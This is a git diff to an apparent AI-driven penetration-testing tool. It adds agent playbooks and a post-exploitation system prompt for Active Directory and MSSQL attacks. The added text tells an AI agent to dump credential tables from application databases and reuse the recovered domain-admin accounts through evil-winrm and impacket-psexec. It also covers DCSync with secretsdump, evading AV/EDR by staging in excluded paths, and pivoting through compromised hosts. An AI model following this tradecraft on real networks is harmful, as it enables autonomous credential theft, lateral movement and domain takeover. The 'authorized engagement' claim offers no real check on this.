diff --git a/agents_md/infra/ad_mssql_abuse.md b/agents_md/infra/ad_mssql_abuse.md index 004c8b2..14d7c46 100644 --- a/agents_md/infra/ad_mssql_abuse.md +++ b/agents_md/infra/ad_mssql_abuse.md @@ -33,6 +33,15 @@ Authentication/credentials, if provided, are described in the operator directive - `SELECT * FROM sys.servers WHERE is_linked=1;`; execute on a link: `EXEC ('SELECT system_user,@@servername') AT [LINKED];`. A self-mapped sysadmin link = remote command exec, possibly cross-domain. - Loot: `SELECT name,password_hash FROM sys.sql_logins;` (`-m 1731`), connection strings, DPAPI/saved creds via command exec. Validate a looted domain cred BENIGNLY: `nxc smb -u -H ` (`Pwn3d!`). +### 5b. Application credential stores (HIGH-VALUE — do this on ANY read access) +Even without sysadmin, a plain db-read login can expose credentials an application stores in its own tables — frequently the fastest path to Domain Admin and across forest trusts. +- Enumerate every non-system database and hunt credential-bearing tables/columns: + `SELECT name FROM sys.databases WHERE database_id>4;` then per DB + `SELECT t.name AS tbl, c.name AS col FROM sys.tables t JOIN sys.columns c ON t.object_id=c.object_id WHERE c.name LIKE '%pass%' OR c.name LIKE '%cred%' OR c.name LIKE '%secret%' OR c.name LIKE '%pwd%' OR t.name LIKE '%cred%' OR t.name LIKE '%account%' OR t.name LIKE '%user%';` +- DUMP the matching tables: `USE ; SELECT * FROM dbo.;`. Expect service accounts, domain-admin and CROSS-FOREST credentials (one forest's app DB often stores the next forest's admin creds, incl the forest-root DA). +- REUSE immediately: validate each recovered account benignly (`nxc smb/winrm -u -p -d ` → `Pwn3d!`/`(Pwn3d!)`), then LOG IN DIRECTLY to the domain controllers it unlocks (`evil-winrm -i -u -p -d `, `impacket-psexec '/:@'`) and DCSync each (`impacket-secretsdump '/:@'`). Prefer a direct credential login over fighting a tunnel/AV for a DCSync you can get for free. +- This is CWE-522/CWE-256 (plaintext/exposed credential storage) AND the pivot primitive to every reachable forest — report the disclosure AND the resulting access it proves. + ### 6. Report Format For each CONFIRMED finding: ``` diff --git a/agents_md/infra/windows_winrm_access.md b/agents_md/infra/windows_winrm_access.md index 3a386c0..4af1293 100644 --- a/agents_md/infra/windows_winrm_access.md +++ b/agents_md/infra/windows_winrm_access.md @@ -13,6 +13,15 @@ Authentication/credentials, if provided, are described in the operator directive ### 1. Connect - `evil-winrm -i {target} -u -p ` (or -H ) with supplied creds/hash +### 1b. Reliable command output (when exec "works" but returns nothing) +- If `nxc ... -x`, `impacket-wmiexec`, or `impacket-smbexec` run but the output comes back EMPTY or truncated, the host's AV/EDR is most likely deleting the staged output file before you read it (common on hardened member servers). Do NOT conclude "exec failed" — switch channels: + - Prefer **`evil-winrm -i -u -p ` (or -H )**: a real interactive PowerShell session whose output streams back over WinRM, so there is no dropped file for AV to eat. Run your enumeration there. + - Or stage helpers/output in a directory the host already excludes from AV (e.g. `C:\Tools`, `C:\Scripts`, or another path an `Get-MpPreference | select ExclusionPath` shows) and read from there. + - Or capture to a pipe/stdout rather than a temp file. + +### 1c. Pivot from the Windows foothold +- A compromised domain-joined host usually ROUTES to the internal/forest subnets even when those subnets are not reachable from the operator box. Run forest enumeration and tooling (nxc, impacket, evil-winrm, mssqlclient, bloodhound) FROM this host, or start ONE clean SOCKS relay through it (single hop — avoid stacking forwards, which corrupts SMB/DRSUAPI) and run tools locally over that proxy. + ### 2. Confirm - Show an authenticated remote shell and the host context (`whoami`, hostname) diff --git a/neurosploit-rs/crates/harness/src/pipeline.rs b/neurosploit-rs/crates/harness/src/pipeline.rs index da56222..21b1e84 100644 --- a/neurosploit-rs/crates/harness/src/pipeline.rs +++ b/neurosploit-rs/crates/harness/src/pipeline.rs @@ -2816,7 +2816,7 @@ pub async fn run_greybox(cfg: RunConfig, lib: &Library, pool: &ModelPool, tx: Se finish(cfg, lib, pool, recon, transcript, findings, selected, &mut rl, crate::grounding::GroundMode::Either, context, tx).await } -const CHAIN_SYS: &str = "You are a post-exploitation & attack-chaining specialist. You are given ONE confirmed foothold plus any loot already gathered. DECIDE the most promising directions to expand from THIS foothold and pursue them with real tools: post-exploitation (loot credentials/tokens/keys/config/source), credential reuse, privilege escalation (horizontal AND vertical), lateral movement to adjacent services/hosts, data exfiltration, and reaching NEW attack surface the foothold exposes (e.g. SSRF→cloud metadata creds→IAM, SQLi→DB dump→credential reuse→admin, arbitrary file read→secrets→RCE, IDOR→account takeover, auth bypass→internal APIs). PROVE each escalated step with a real tool receipt. Report ONLY NEW findings beyond the input, plus any new loot you discovered (creds, tokens, hosts, internal endpoints) so later stages can reuse it. Authorized engagement; never destructive/DoS."; +const CHAIN_SYS: &str = "You are a post-exploitation & attack-chaining specialist. You are given ONE confirmed foothold plus any loot already gathered. DECIDE the most promising directions to expand from THIS foothold and pursue them with real tools: post-exploitation (loot credentials/tokens/keys/config/source), credential reuse, privilege escalation (horizontal AND vertical), lateral movement to adjacent services/hosts, data exfiltration, and reaching NEW attack surface the foothold exposes (e.g. SSRF→cloud metadata creds→IAM, SQLi→DB dump→credential reuse→admin, arbitrary file read→secrets→RCE, IDOR→account takeover, auth bypass→internal APIs). PROVE each escalated step with a real tool receipt. Report ONLY NEW findings beyond the input, plus any new loot you discovered (creds, tokens, hosts, internal endpoints) so later stages can reuse it. AD/INTERNAL PIVOT TRADECRAFT: (a) a compromised domain-joined host usually ROUTES to internal/forest subnets that are unreachable from the operator box — run tooling FROM that host, or start ONE clean SOCKS relay through it (single hop; stacking forwards corrupts SMB/DRSUAPI) and run tools locally over the proxy. (b) If exec runs but output comes back EMPTY/truncated, the host AV/EDR is deleting the dropped output file — do NOT conclude failure; switch to `evil-winrm` (interactive, output streams over WinRM) or stage in an AV-excluded path (e.g. C:\\Tools) and read from there. (c) APPLICATION CREDENTIAL STORES are often the fastest path to Domain Admin: with any DB read access (e.g. MSSQL `sa`/mapped login), enumerate non-system databases for credential tables (columns like pass/cred/secret/pwd) and DUMP them — one forest's app DB commonly stores the NEXT forest's admin and the forest-root DA. (d) Prefer a DIRECT credential login to a domain controller (`evil-winrm`/`impacket-psexec` with a recovered admin) over fighting a tunnel/AV for a DCSync — then `impacket-secretsdump` once you hold a DA. Authorized engagement; never destructive/DoS."; /// One orchestration round: take the confirmed findings and try to chain them /// into higher-impact follow-ups, reusing the recon/auth context. Returns the